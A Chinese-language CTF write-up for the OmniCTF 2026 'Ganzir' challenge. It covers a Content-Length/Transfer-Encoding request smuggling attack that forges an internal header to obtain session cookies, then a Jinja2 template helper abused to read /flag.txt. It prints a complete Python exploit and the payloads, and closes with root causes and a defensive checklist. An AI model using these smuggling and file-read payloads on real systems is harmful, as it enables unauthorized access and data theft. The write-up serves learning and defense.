5 min read

Ganzir — OmniCTF 2026:從 HTTP Parser 不一致到 Jinja2 任意檔案讀取

Ganzir — OmniCTF 2026:從 HTTP Parser 不一致到 Jinja2 任意檔案讀取

這題把兩個經典漏洞串在一起:先用 HTTP Request Smuggling(Parser Desynchronization)偽造內部信任 Header 拿到 Employee Session,再透過暴露危險 Helper 的 Jinja2 Template 直接讀出 Flag,以下完整拆解思路與 Exploit。

題目提示

進入 /employee 後,頁面直接給了幾個重要提示:

accepted job endpoint: POST /employee
accepted body formats: raw_request form field or text/plain raw HTTP
edge parser: honors Transfer-Encoding: chunked
bridge parser: trusts Content-Length before forwarding remaining bytes
internal request: GET /employee/session HTTP/1.1
required internal header: X-Employee-Gate: internal

簡單來說,這題有兩個 HTTP Parser:

Parser 採用的 Header 用途
Edge Parser Transfer-Encoding 解析 Chunked Body
Bridge Parser Content-Length 判斷 Body 長度並轉送剩餘資料

兩邊對「一個 HTTP Request 到底在哪裡結束」的看法不同,這就是漏洞的核心。

Content-Length 與 Transfer-Encoding

Content-Length

Content-Length 直接告訴伺服器 Body 有幾個 bytes:

POST /employee HTTP/1.1
Content-Length: 5

hello

伺服器看到 Content-Length: 5,就會讀取後面的 5 bytes。

Transfer-Encoding: chunked

Chunked Encoding 會把 Body 分成數個區塊:

POST /employee HTTP/1.1
Transfer-Encoding: chunked

5
hello
0

5 代表下一段有 5 bytes,最後的 0 代表 Body 結束。

漏洞在哪裡?

正常伺服器不應該讓兩套互相衝突的長度規則一路傳到不同 Parser。

但這題的處理流程是:

同一份 Raw HTTP Request
        ↓
Edge 使用 Transfer-Encoding 解析
        ↓
Bridge 使用 Content-Length 判斷長度
        ↓
剩餘資料被當成下一個內部 Request

因此,我們可以在正常 Request 後面藏入第二個 Request,讓 Bridge 幫忙送到內部端點。

這類問題稱為 HTTP Request Smuggling,也可以更精確地說是 HTTP Parser Desynchronization。

要注意,這題的外層 POST /employee 本身是一個 Raw Request 投遞端。衝突的 Header 是放在 text/plain Body 裡,再由題目的 Legacy Bridge 解析,不是直接加在 Python requests.post() 的最外層。

為什麼第一個 Payload 失敗?

一開始使用的 Body 大致如下:

69
GET /employee/session HTTP/1.1
Host: ganzir-bcb389d7988b.inst.omnictf.com
X-Employee-Gate: internal

0

69 是十六進位,等於十進位的 105,長度計算本身沒有錯。

問題是 GET /employee/session 被放進了這個非零 Chunk 裡面:

69              ← 接下來 105 bytes 都是 Body
GET /employee…  ← 被 Edge 當成普通 Body 吃掉
0               ← Chunked Body 結束

所以它永遠不會成為第二個 HTTP Request,

錯的不是長度,而是 GET 放置的位置!

正確的 Smuggled Request

我們要先使用 0 結束 Chunked Body,再把內部 GET 接在後面:

POST /employee HTTP/1.1
Host: ganzir-bcb389d7988b.inst.omnictf.com
Content-Length: 0
Transfer-Encoding: chunked

0

GET /employee/session HTTP/1.1
Host: ganzir-bcb389d7988b.inst.omnictf.com
X-Employee-Gate: internal

解析結果變成:

Edge 看到 0 Chunk → 第一個 Request 結束
                         ↓
Bridge 相信 CL = 0 → Body 長度為 0
                         ↓
剩餘資料從 GET /employee/session 開始
                         ↓
GET 被當成內部 Request 轉送

內部端點看到 X-Employee-Gate: internal,便建立 Cassie 的 Employee Session。

成功後為什麼還是看到 403?

成功的 /employee/session 會回傳:

HTTP/1.1 302 Found
Location: /employee
Set-Cookie: site19_employee_gate=...
Set-Cookie: site19_jwt=...
Set-Cookie: site19_session=...

requests 預設會自動跟隨 Redirect。

真正的成功回應:302 + Set-Cookie
                ↓ requests 自動跳轉
最後看到的回應:/employee 的 403

因此要加上:

allow_redirects=False

同時使用 requests.Session() 保存 Cookie。

完整 Exploit

import re
import requests

HOST = "ganzir-bcb389d7988b.inst.omnictf.com"
BASE = f"https://{HOST}"

smuggled = (
    "GET /employee/session HTTP/1.1\r\n"
    f"Host: {HOST}\r\n"
    "X-Employee-Gate: internal\r\n"
    "\r\n"
).encode("ascii")

blob = (
    b"POST /employee HTTP/1.1\r\n"
    + f"Host: {HOST}\r\n".encode("ascii")
    + b"Content-Length: 0\r\n"
    + b"Transfer-Encoding: chunked\r\n"
    + b"\r\n"
    + b"0\r\n\r\n"
    + smuggled
)

session = requests.Session()

response = session.post(
    f"{BASE}/employee",
    data=blob,
    headers={"Content-Type": "text/plain"},
    allow_redirects=False,
    timeout=20,
)

print("Status:", response.status_code)
print("Location:", response.headers.get("Location"))
print("Cookies:", session.cookies.get_dict())

成功後會取得三個 Cookie:

site19_employee_gate
site19_jwt
site19_session

第二個漏洞:Jinja2 任意檔案讀取

取得 Employee Session 後,可以進入 /briefing-template

頁面再次直接給出提示:

engine: Jinja2
variables: wave, vector
helper: read_file(path)
flag copy: /flag.txt

使用者輸入會被當成 Jinja2 Template 執行,而且 Template 中可以呼叫 read_file()

因此可以直接讀取 /flag.txt

{{ read_file('/flag.txt') }}

將下面程式接在前面的 Exploit 後面:

response = session.post(
    f"{BASE}/briefing-template",
    data={"template": "{{ read_file('/flag.txt') }}"},
    timeout=20,
)

flag = re.search(r"CTF\{[^}]+\}", response.text)
print(flag.group(0) if flag else response.text)

這裡的問題不只是「使用 Jinja2」,而是伺服器把使用者輸入直接當成 Template,還暴露了能任意讀取路徑的 read_file() Helper。

完整攻擊流程

CL / TE Parser 不一致
        ↓
Smuggle 內部 GET /employee/session
        ↓
偽造 X-Employee-Gate: internal
        ↓
取得 Employee Session Cookie
        ↓
進入 /briefing-template
        ↓
執行 {{ read_file('/flag.txt') }}
        ↓
取得 Flag

漏洞根本原因

1. 接受衝突的 Framing Header

Content-Length + Transfer-Encoding 同時存在
→ 不同 Parser 使用不同規則

2. 直接轉送未解析完的 Raw Bytes

第一個 Request 後面的資料
→ 被當成新的內部 Request

3. 使用 Header 判斷內部信任

X-Employee-Gate: internal

只要成功走到內部端點,就能偽造這個 Header。

4. Template Helper 權限過大

{{ read_file('/任何路徑') }}

沒有路徑白名單,也沒有將 Template 與檔案系統隔離。

實戰檢查清單

遇到 HTTP Parser 題目時,可以檢查:

  1. 是否同時接受 Content-LengthTransfer-Encoding
  2. 前後端使用的 HTTP Parser 是否不同?
  3. 0\r\n\r\n 後面的資料會被如何處理?
  4. Client 是否自動跟隨 Redirect,藏掉真正的回應?
  5. Cookie 是否使用同一個 Session 保存?
  6. 內部權限是否只依靠可偽造的 Header?
  7. Template Engine 是否暴露危險 Helper?